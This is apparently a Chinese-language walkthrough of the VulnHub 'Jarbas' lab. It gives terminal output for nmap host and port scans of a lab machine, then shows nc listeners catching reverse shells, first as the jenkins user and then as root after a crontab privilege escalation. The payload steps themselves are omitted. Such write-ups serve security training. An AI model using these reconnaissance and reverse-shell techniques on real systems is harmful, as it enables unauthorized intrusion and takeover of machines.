┌──(kali㉿kali)-[/miao/vulnhub/Jarbas] └─$ sudo nmap -sn 192.168.2.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-05 09:07 EST Nmap scan report for 192.168.2.1 Host is up (0.00015s latency). MAC Address: 0A:00:27:00:00:52 (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00027s latency). MAC Address: 08:00:27:32:09:17 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.3 Host is up (0.00072s latency). MAC Address: 08:00:27:42:06:E4 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.00 seconds
nmap扫描
(1)进行端口扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(kali㉿kali)-[/miao/vulnhub/Jarbas] └─$ sudo nmap -sT --min-rate 10000 -p- 192.168.2.3 -oA nmapscan/ports Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-05 09:04 EST Nmap scan report for 192.168.2.3 Host is up (0.00044s latency). Not shown: 65531 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3306/tcp open mysql 8080/tcp open http-proxy MAC Address: 08:00:27:42:06:E4 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.68 seconds
┌──(kali㉿kali)-[/miao/vulnhub/Jarbas] └─$ sudo nmap -sT -sV -O --min-rate 10000 -p22,80,3306,8080 192.168.2.3 -oA nmapscan/detail Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-05 09:05 EST Nmap scan report for 192.168.2.3 Host is up (0.00059s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) 3306/tcp open mysql MariaDB (unauthorized) 8080/tcp open http Jetty 9.4.z-SNAPSHOT MAC Address: 08:00:27:42:06:E4 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.67 seconds
(2)对端口进行UDP扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(kali㉿kali)-[/miao/vulnhub/Jarbas] └─$ sudo nmap -sU -p22,80,3306,8080 192.168.2.3 -oA nmapscan/udp [sudo] kali 的密码: Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-05 09:13 EST Nmap scan report for 192.168.2.3 Host is up (0.00030s latency).
PORT STATE SERVICE 22/udp closed ssh 80/udp closed http 3306/udp closed mysql 8080/udp closed http-alt MAC Address: 08:00:27:42:06:E4 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
┌──(kali㉿kali)-[/miao/vulnhub/Jarbas] └─$ sudo nc -lvvp 4444 listening on [any] 4444 ... connect to [192.168.2.4] from (UNKNOWN) [192.168.2.3] 37256 bash: no job control in this shell bash-4.2$ id id uid=997(jenkins) gid=995(jenkins) groups=995(jenkins) context=system_u:system_r:initrc_t:s0
提权-crontab
(1)查看sudo -l,没有发现有用的信息
1 2 3 4 5 6 7 8 9 10 11
bash-4.2$ sudo -l sudo -l
We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:
#1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility.
sudo: no tty present and no askpass program specified
┌──(kali㉿kali)-[~] └─$ sudo nc -lvnp 5555 [sudo] kali 的密码: listening on [any] 5555 ... connect to [192.168.2.4] from (UNKNOWN) [192.168.2.3] 34124 bash: no job control in this shell [root@jarbas ~]# id id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:system_cronjob_t:s0-s0:c0.c1023